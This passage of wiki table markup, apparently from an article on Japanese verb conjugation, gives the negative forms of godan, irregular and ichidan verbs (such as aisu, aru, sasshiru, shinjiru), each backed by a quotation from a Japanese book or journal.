| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not lend|貸さない|kasanai}}<br>{{#invoke:nihongo|nihongo_krt||貸さん|kasan}}<br>{{#invoke:nihongo|nihongo_krt||貸さぬ|kasanu}}<br>{{#invoke:nihongo|nihongo_krt||貸さず|kasazu}}
|-
| {{#invoke:nihongo|nihongo_krt|love|愛す|aisu}}
| style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not love|愛さない|aisanai}}<ref name=hatsumi-1950>{{#invoke:cite|book|lang=ja|script-quote=ja:だから何んな人でも國家のない者はない如く、自分の生れた國を愛さないものはないであらう。[…]例へば父は、子を愛す、太作は、太郞の父なり、故に太作は、太郞を愛すと云ふが如きは、父は子を愛すると云ふ事実に由りて、斯く論決したる者である。[…]或は太作は、太郞の父なるが故に、太作は太郞を愛すと云ふが如き是である。|pp=158, 776|script-title=ja:國家と宗敎と哲學|date=June 1950|location=[[Shinjuku]], [[Tokyo]]|url=https://dl.ndl.go.jp/pid/2967423/1/400|last=Hatsumi|first=Rokuzō}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛さん|aisan}}<br>{{#invoke:nihongo|nihongo_krt||愛さぬ|aisanu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:特定の女を愛さぬこと すべての女を愛すこともしないこと|page=31|first=Masatoshi|last=Kawasaki|script-title=ja:ダンの夢想の世界について|script-journal=ja:英米文学|number=14|year=1979|url=https://komazawa-u.repo.nii.ac.jp/record/2004350/files/00005918.pdf|quote=To love not any one, nor every one.}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛さず|aisazu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:文革中は毛沢東の「中華の女児は奇志多し、紅の装いを愛さずして武装を愛す」<sup>(4)</sup>が愛唱され、まるで皆が制服を着ているようなもので、若い女性も色模様の服やスカートは着たくとも着れない状況だった<sup>(5)</sup>。|page=35|last=Nakano|first=Kenji|script-title=ja:中国社会の底流に見る伝統と変革|script-journal=ja:現代中国|number=67|year=1993|publisher=Tokai University|url=https://www.jstage.jst.go.jp/article/modernchina/1993/67/1993_34/_pdf}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|reach|達す|tassu}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not reach|達さない|tassanai}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:仕様②「延長なし」の場合、3箇所(1階の梁方向の全壁量の床面積に対する長さ、1階の梁方向・2階桁方向の全壁量の見付面積に対する長さ)が条件に達さないために、条件を満たすことができない。[…]屋根は、山側の面から数え横軸の第7段目からはじめ、建物の正中で頂点に達す。|pp=563–564|script-title=ja:『生闘学舎・자립』の設計と施工に関する研究(その1):生活棟設計図による設計方針の解読|title=The design and construction of seitogakusha (part 1): analyzing the design method in the architectural drawings of living building|script-journal=ja:日本建築学会計画系論文集|journal=Journal of Architecture and Planning|volume=89|number=817|date=March 2024|doi=10.3130/aija.89.557|last1=Xu|first1=Zi|last2=Nakatani|first2=Norihito|last3=Uchida|first3=Yoshio|publisher=Architectural Institute of Japan|url=https://www.jstage.jst.go.jp/article/aija/89/817/89_557/_article/-char/ja/}}</ref><br>{{#invoke:nihongo|nihongo_krt||達さん|tassan}}<br>{{#invoke:nihongo|nihongo_krt||達さぬ|tassanu}}<br>{{#invoke:nihongo|nihongo_krt||達さず|tassazu}}
|-
| {{#invoke:nihongo|nihongo_krt|write|書く|kaku}}
| style=text-align:right | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|か}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not write|書かない|kakanai}}<br>{{#invoke:nihongo|nihongo_krt||書かん|kakan}}<br>{{#invoke:nihongo|nihongo_krt||書かぬ|kakanu}}<br>{{#invoke:nihongo|nihongo_krt||書かず|kakazu}}
|-
| {{#invoke:nihongo|nihongo_krt|smell|嗅ぐ|kagu}}
| style=text-align:right | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぐ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|が}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not smell|嗅がない|kaganai}}<br>{{#invoke:nihongo|nihongo_krt||嗅がん|kagan}}<br>{{#invoke:nihongo|nihongo_krt||嗅がぬ|kaganu}}<br>{{#invoke:nihongo|nihongo_krt||嗅がず|kagazu}}
|-
| {{#invoke:nihongo|nihongo_krt|call|呼ぶ|yobu}}
| style=text-align:right | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぶ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ば}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not call|呼ばない|yobanai}}<br>{{#invoke:nihongo|nihongo_krt||呼ばん|yoban}}<br>{{#invoke:nihongo|nihongo_krt||呼ばぬ|yobanu}}<br>{{#invoke:nihongo|nihongo_krt||呼ばず|yobazu}}
|-
| {{#invoke:nihongo|nihongo_krt|read|読む|yomu}}
| style=text-align:right | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|む}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ま}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not read|読まない|yomanai}}<br>{{#invoke:nihongo|nihongo_krt||読まん|yoman}}<br>{{#invoke:nihongo|nihongo_krt||読まぬ|yomanu}}<br>{{#invoke:nihongo|nihongo_krt||読まず|yomazu}}
|-
| {{#invoke:nihongo|nihongo_krt|die|死ぬ|shinu}}
| style=text-align:right | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぬ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|な}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not die|死なない|shinanai}}<br>{{#invoke:nihongo|nihongo_krt||死なん|shinan}}<br>{{#invoke:nihongo|nihongo_krt||死なぬ|shinanu}}<br>{{#invoke:nihongo|nihongo_krt||死なず|shinazu}}
|-
! colspan=5 style=text-align:left | Irregular ''godan'' verbs
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|exist|有る|aru}}
| rowspan=2 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ある}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ない}}</span>'''
| style=border-left:none |
| {{#invoke:nihongo|nihongo_krt|be nonexistent|無い|nai}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|あ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
|{{#invoke:nihongo|nihongo_krt|not exist|有らない|aranai}}<ref>{{#invoke:cite|book|url=https://dl.ndl.go.jp/pid/1884397/1/212|script-quote=ja:<ruby>急<rp>(</rp><rt>せ</rt><rp>)</rp></ruby>くは<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>はあらない。|lang=ja|page=392|script-chapter=ja:<ruby>心<rp>(</rp><rt>しん</rt><rp>)</rp></ruby><ruby>中<rp>(</rp><rt>ぢう</rt><rp>)</rp></ruby><ruby>宵<rp>(</rp><rt>よひ</rt><rp>)</rp></ruby><ruby>庚<rp>(</rp><rt>がう</rt><rp>)</rp></ruby><ruby>申<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>|script-title=ja:近松門左衞門全集|volume=9|authorlink=Chikamatsu Monzaemon|first=Monzaemon|last=Chikamatsu|publisher=Shunyodo|date=23 July 1923}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:然も當時奧羽各藩の仰いで盟主とするは、其の<ruby>封<rp>(</rp><rt>ほう</rt><rp>)</rp></ruby><ruby>土<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>の大なるよりするも、其の地勢の中央にあるよりするも、<ruby>將<rp>(</rp><rt>は</rt><rp>)</rp></ruby>た其の從來の歷史よりするも、仙臺にありて、秋田にはあらなかつた。|page=66|script-chapter=ja:第四章 九條總督仙臺に入る|url=https://dl.ndl.go.jp/pid/1220687/1/59|series={{#invoke:lang|lang|ja|近世日本國民史}}|script-title=ja:明治天皇御宇史|volume=10|authorlink=Tokutomi Sohō|last=Tokutomi|first=Iichirō|date=15 June 1943|location=[[Kanda, Tokyo]]|publisher=Meiji Shoin}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:しかし今のあたしには傷はあらない。ほら、あらないだろう?[…]「かまうもかまわないもあらないよな。[…]」[…]あたしにはもともと、正確な意味での記憶というものがあらない。[…]しかしあそこに閉じ込められてとくに不自由、ということもあらなかった。[…]「[…]イデアが誰かに夕食に呼ばれるなんて、そうはあらないことだからな」|trans-quote=But have I any wounds that you can see? Negative! No wounds at all. […] “Not that anybody really cares. […]” […] I do not have memory, in the exact sense of the term. […] But it did not feel inconvenient to me, being shut up in there. […] “[…] It is not often that an Idea is invited by someone for dinner.”|pp=349–353|script-chapter=ja:21 小さくはあるが、切ればちゃんと血がでる|trans-chapter=21 It’s small, but should you cut with it, blood will certainly come out|script-title=ja:騎士団長殺し|trans-title=[[Killing Commendatore]]|volume={{#invoke:lang|lang|ja|第1部 顕れるイデア編}}|authorlink=Haruki Murakami|last=Murakami|first=Haruki|publisher=Shinchosha|isbn=978-4-10-353432-7|location=[[Shinjuku]], Tokyo|date=25 February 2017|translator-first=Philip|translator-last=Gabriel|translator-first2=Ted|translator-last2=Goossen}}</ref><br>{{#invoke:nihongo|nihongo_krt||有らん|aran}}<br>{{#invoke:nihongo|nihongo_krt||有らぬ|aranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:一<ruby>輪<rp>(</rp><rt>りん</rt><rp>)</rp></ruby><ruby>插<rp>(</rp><rt>ざし</rt><rp>)</rp></ruby>は<ruby>何<rp>(</rp><rt>ど</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>かへ<ruby>行<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つてあらぬ。|p=86|script-chapter=ja:虞美人草|url=https://dl.ndl.go.jp/pid/1883210/1/52|script-title=ja:漱石全集|volume=4|date=25 October 1935|last=Natsume|first=Sōseki|authorlink=Natsume Sōseki|publisher={{#invoke:lang|lang|ja|漱石全集刊行會}}|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それがあらぬか、東條失脚後、西尾は東京都長官として再びフット・ライトを浴びるに至つたのであつた。|page=119|url=https://dl.ndl.go.jp/pid/1041945/1/61|script-chapter=ja:六、『和製ナチ』東條軍閥|script-title=ja:旋風二十年 ―解禁昭和裏面史―|date=20 April 1946|edition=2nd|last=Mori|first=Shōzō|publisher={{#invoke:lang|lang|ja|鱒書房}}|location=[[Kōjimachi]], Tokyo|volume=2}}</ref><ref name=tsubouchi-1958-hamlet>{{#invoke:cite|book|lang=ja|script-quote=ja:'''ハム''' 世に在る、世に在らぬ、それが疑問ぢゃ。[…]<br>'''甲''' 生きとる中は女の人ぢゃったが、[[Nianfo|なんまみだぶ]]、<ruby>死<rp>(</rp><rt>ご</rt><rp>)</rp></ruby>ねてしまひましたがな。|quote='''Ham.''' To be, or not to be, that is the question:<br>[…]<br>'''First Clo.''' One that was a woman, sir; but, rest her soul, she’s dead.|pp=89, 179|url=https://dl.ndl.go.jp/pid/1664852/1/50|title=Hamlet, Prince of Denmark|script-title=ja:ハムレット|authorlink=William Shakespeare|first=William|last=Shakespeare|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|trans-title=[[Hamlet]]|date=30 April 1958|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:馬琴にはあらぬが、あだしごとはさておきつ。|url=https://dl.ndl.go.jp/pid/8693228/1/1|script-title=ja:「江戸文藝文庫」の創設に寄せて — 水野稔旧蔵書由来—|last=Uchimura|first=Katsushi|publisher=Meiji University|script-journal=ja:図書の譜|number=5|date=March 2001}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:古代ギリシアのパルメニデスは、「あるものはあり、あらぬものはあらぬ」から唯一不変のあるもののみを実在とし、多や変化は感覚に基づく仮象とした。|page=24|script-title=ja:カントにおける可能性と現実性の実在的区別 ――神の直観的知性の問題――|url=https://tsukuba.repo.nii.ac.jp/record/45882/file_preview/SP_43-154.pdf?allow_aggs=False|last=Higaki|first=Yoshishige|script-journal=ja:哲学・思想論集|volume=43|date=28 March 2018}}</ref><br>{{#invoke:nihongo|nihongo_krt||有らず|arazu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:もちろん、それは、いつも同じ人であるとは限らないし、話の内容につれて思い浮かぶひとがかわってゆきもすれば、単語や言い回しにまつわる記憶とまじりあって、灯ったり、消えたりするものですが、ひとは表現活動をしているときに、ついにそのような「誰か」と共にあらずにはいられないのかもしれません。|page=127|url=https://www.jstage.jst.go.jp/article/bellf/30/0/30_113/_article/-char/ja/|first=Asako|last=Taniguchi|script-title=ja:詩と強制収容所 ――誰かにそこにいてもらうこと――|script-journal=ja:日本フランス語フランス文学会関東支部論集|number=30|publisher={{#invoke:lang|lang|ja|日本フランス語フランス文学会関東支部}}|year=2021 |volume=30 |doi=10.24518/bellf.30.0_113 }}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:X が 97(2008)年 1 月 17 日に Y に対して、X の退職手続を行い、(定年)退職金を給付すること、老齢年金給付を申請することを内容とするメールを出したが、Y は 97(2008)年 1 月 30 日の返信により、両当事者は雇用関係にあらず、給付を拒否する表示をした。|page=95|script-journal=ja:労働政策研究報告書|script-title=ja:中国の新たな就労形態に関する法規制と労働者性判断基準に関する研究|number=222|date=31 March 2022|publisher=Japan Institute for Labour Policy and Training|last1=Zhong|first1=Qi|first2=Che-Yi|last2=Wu|location=[[Nerima]], Tokyo|url=https://www.jil.go.jp/institute/reports/2022/documents/0222.pdf}}</ref><ref>{{#invoke:cite|journal|script-journal=ja:東京工科大学大学院 バイオ・情報メディア研究科 コンピュータサイエンス専攻|lang=ja|script-quote=ja:野上は,保育者養成のためのピアノスキルの習得における実技系の音楽グループレッスンでは,学生自身がピアノに向かっている時のみ熱心で,他人が演奏している時は心ここにあらずという問題を指摘している.|page=40|last=Kamo|first=Fumiyoshi|date=16 December 2022|script-title=ja:ギター演奏の運動評価による技量獲得暗黙知の解明と教育への応用|url=https://dl.ndl.go.jp/pid/12900495/1/1}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:尾形さんにも政治家の血が流れていますから、私の後に知事になる可能性も無きにしもあらずですよ。|page=7|last1=Murai|first1=Yoshihiro|last2=Ogata|first2=Takahiro|url=https://www.pref.miyagi.jp/documents/50076/kensei202401.pdf|script-journal=ja:MIYAGI みやぎ県政だより|date=February 2024|script-title=ja:新春対談}}</ref>
|-
! colspan=5 style=text-align:left | ''Ichidan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|look|見る|miru}}
| style=text-align:right | {{#invoke:lang|lang|ja|見}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|見}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not look|見ない|minai}}<br>{{#invoke:nihongo|nihongo_krt||見ん|min}}<br>{{#invoke:nihongo|nihongo_krt||見ぬ|minu}}<br>{{#invoke:nihongo|nihongo_krt||見ず|mizu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|reach|達しる|tasshiru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not reach|達しない|tasshinai}}<br>{{#invoke:nihongo|nihongo_krt||達しん|tasshin}}<br>{{#invoke:nihongo|nihongo_krt||達しぬ|tasshinu}}<br>{{#invoke:nihongo|nihongo_krt||達しず|tasshizu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not reach|達せん|tassen}}<br>{{#invoke:nihongo|nihongo_krt||達せぬ|tassenu}}<br>{{#invoke:nihongo|nihongo_krt||達せず|tassezu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|guess|察しる|sasshiru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not guess|察しない|sasshinai}}<ref name=yamada-1916 /><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しるも<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しないも<ruby>無<rp>(</rp><rt>な</rt><rp>)</rp></ruby>いぢや<ruby>御<rp>(</rp><rt>ご</rt><rp>)</rp></ruby><ruby>座<rp>(</rp><rt>ざ</rt><rp>)</rp></ruby>いませんか。|page=96|script-chapter=ja:<ruby>第<rp>(</rp><rt>だい</rt><rp>)</rp></ruby>四<ruby>章<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby>|script-title=ja:理想の村|last=Ishida|first=Denkichi|date=29 August 1924|edition=21st|publisher={{#invoke:lang|lang|ja|帝國地方行政學會}}|location=Kyoto|url=https://dl.ndl.go.jp/pid/951316/1/63}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しん|sasshin}}<br>{{#invoke:nihongo|nihongo_krt||察しぬ|sasshinu}}<ref name=yamada-1916>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>今<rp>(</rp><rt>こん</rt><rp>)</rp></ruby><ruby>度<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>は<ruby>兄<rp>(</rp><rt>にい</rt><rp>)</rp></ruby>さんの<ruby>御<rp>(</rp><rt>お</rt><rp>)</rp></ruby><ruby>心<rp>(</rp><rt>こゝろ</rt><rp>)</rp></ruby>の<ruby>中<rp>(</rp><rt>うち</rt><rp>)</rp></ruby>もよく<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しる<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>が<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby><ruby>來<rp>(</rp><rt>き</rt><rp>)</rp></ruby>ました、[…]<ruby>幾<rp>(</rp><rt>いく</rt><rp>)</rp></ruby><ruby>子<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>も<ruby>靜<rp>(</rp><rt>しづ</rt><rp>)</rp></ruby><ruby>代<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>の<ruby>心<rp>(</rp><rt>こゝろ</rt><rp>)</rp></ruby>を<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しぬではない。<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しないがら<ruby>好<rp>(</rp><rt>この</rt><rp>)</rp></ruby>まぬ<ruby>嫁<rp>(</rp><rt>よめ</rt><rp>)</rp></ruby><ruby>入<rp>(</rp><rt>い</rt><rp>)</rp></ruby>りを<ruby>勸<rp>(</rp><rt>すゝ</rt><rp>)</rp></ruby>める<ruby>心<rp>(</rp><rt>こゝ</rt><rp>)</rp></ruby>の<ruby>裡<rp>(</rp><rt>うち</rt><rp>)</rp></ruby>は、|pp=107–108, 123|url=https://dl.ndl.go.jp/pid/918009/1/68|script-title=ja:人ごゝろ|publisher=Higuchi Ryū Bunkan|last=Yamada|first=Shōkin|volume=2|date=27 February 1916|location=[[Minami-ku, Sakai|Minami]], Osaka}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しず|sasshizu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:おゝ<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しるとも! <ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しずに<ruby>何<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>うするか。|page=52|url=https://dl.ndl.go.jp/pid/919094/1/31|script-chapter=ja:<ruby>兄<rp>(</rp><rt>あに</rt><rp>)</rp></ruby>の<ruby>犠<rp>(</rp><rt>ぎ</rt><rp>)</rp></ruby><ruby>牲<rp>(</rp><rt>せい</rt><rp>)</rp></ruby>|script-title=ja:露小袖|date=15 January 1914|last=Kitajima|first=Shunseki|publisher={{#invoke:lang|lang|ja|春江堂書店}}|location=[[Nihonbashi]], Tokyo}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not guess|察せん|sassen}}<br>{{#invoke:nihongo|nihongo_krt||察せぬ|sassenu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>薄<rp>(</rp><rt>うす</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〱</rt><rp>)</rp></ruby><ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>せぬではなかッたけれど、[…]<ruby>僕<rp>(</rp><rt>ぼく</rt><rp>)</rp></ruby>のする<ruby>儘<rp>(</rp><rt>まゝ</rt><rp>)</rp></ruby>に<ruby>任<rp>(</rp><rt>まか</rt><rp>)</rp></ruby>せてゐる<ruby>心<rp>(</rp><rt>こゝろ</rt><rp>)</rp></ruby>を<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しると、|pp=178, 231|url=https://dl.ndl.go.jp/pid/911717/1/94|script-title=ja:志のびなき|date=15 May 1919|author=Isochidori|publisher={{#invoke:lang|lang|ja|日吉堂本店}}}}</ref><br>{{#invoke:nihongo|nihongo_krt||察せず|sassezu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:世間に傳はるのを苦しく思ふ浮舟の心中を察せず、[…]事情から察しると、|pp=262, 312|script-title=ja:逐語全譯 源氏物語|volume=6|date=31 August 1928|last=Yoshinori|first=Yoshizawa|location=Kyoto|publisher=Bunken Shoin|url=https://dl.ndl.go.jp/pid/1135160/1/135}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|believe|信じる|shinjiru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not believe|信じない|shinjinai}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:単に「信じる」「信じない」という言葉では片づけられない内容が含まれているはずである。[…]やはり単に「信じる」「信じない」というのではなくて,|page=4|url=https://rose-ibadai.repo.nii.ac.jp/record/10744/files/CSI2010_1037.pdf|last=Itō|first=Tetsuji|script-title=ja:俗信はどう捉えられているか ―「俗信を信じる」 ことのモデル構成に向けて―|script-journal=ja:茨城大学人文学部紀要 人文学科論集|number=30|year=1997}}</ref><ref name=nomura-2021 /><br>{{#invoke:nihongo|nihongo_krt||信じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||信じぬ|shinjinu}}<ref name=nomura-2021>{{citation|lang=ja|script-quote=ja:信じることも,信じぬこともできぬスタヴローギンとは違って,[…]それがないかぎり信じない不可知論者の立場に立つ。|pp=128, 130|url=https://catalog.lib.kyushu-u.ac.jp/opac_download_md/4752566/127-131_Nomura.pdf|last=Nomura|first=Chisako|journal=Stella |script-title=ja:ふたつの『悪魔の陽の下に』 ──ベルナノスとモーリス・ピアラ──|date=18 December 2021|volume=40 |doi=10.15017/4752566|publisher=Société de Langue et Littérature Françaises de l’Université du Kyushu}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じず|shinjizu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:神の計画を信じず混沌を信じる父親は,他所でやっていた同じ遭難を扱った回転パノラマの方を高く評価し,Géricaultの絵の方に感銘を受ける娘を理解しない。|page=61|url=https://tohoku.repo.nii.ac.jp/record/1376/files/0387-7590-2002-40-57.pdf|last=Masamune|first=Satoshi|script-title=ja:出来事の記述を逃れて ──Julian Barnes の ''A History of the World in 10 1/2 Chapters'' (1989) の主題──|journal=Shiron|number=40|publisher=Tohoku University|year=2002}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
|{{#invoke:nihongo|nihongo_krt|not believe|信ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||信ぜぬ|shinzenu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それでは批評を信ぜぬかと訊かれゝば、信賴の匂ひのあるところにだけ批評の所在を信じると答へるのである。|page=175|script-chapter=ja:小說所在|url=https://dl.ndl.go.jp/pid/1129863/1/94|script-title=ja:預言と回想|authorlink=Hasuda Zenmei|last=Hasuda|first=Zenmei|date=9 January 1941|publisher={{#invoke:lang|lang|ja|子文書房}}|location=[[Koishikawa]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||信ぜず|shinzezu}}<ref name=mochizuki-1986>{{#invoke:cite|journal|lang=ja|script-quote=ja:(彼等は世間の父である如来を信ずる。信じて如来の教誠に……)[…]として、機根が小なるために不信となるのだとし、この機の小なるが「志意下劣」とし、志意下劣の故にこそ長者は窮子のために使者を遣わしたのだ、として、更に、昔日に本大乗の願行ありしに、遂に大法をうけず小乗を楽い、大乗を信ぜず小乗を信じるようになってしまったことを愍んでいるのだとしている。[…]とのベ、如来寿量を信ぜさせるために、この品が説かれたことを明示している。|pp=17, 22, 25|url=https://minobu.repo.nii.ac.jp/?action=repository_uri&item_id=861&file_id=22&file_no=1|first=Kaishuku|last=Mochizuki|script-title=ja:嘉祥『法華義疏』における信|script-journal=ja:棲神 研究紀要|journal=The Seishin: The Journal of Nichiren and 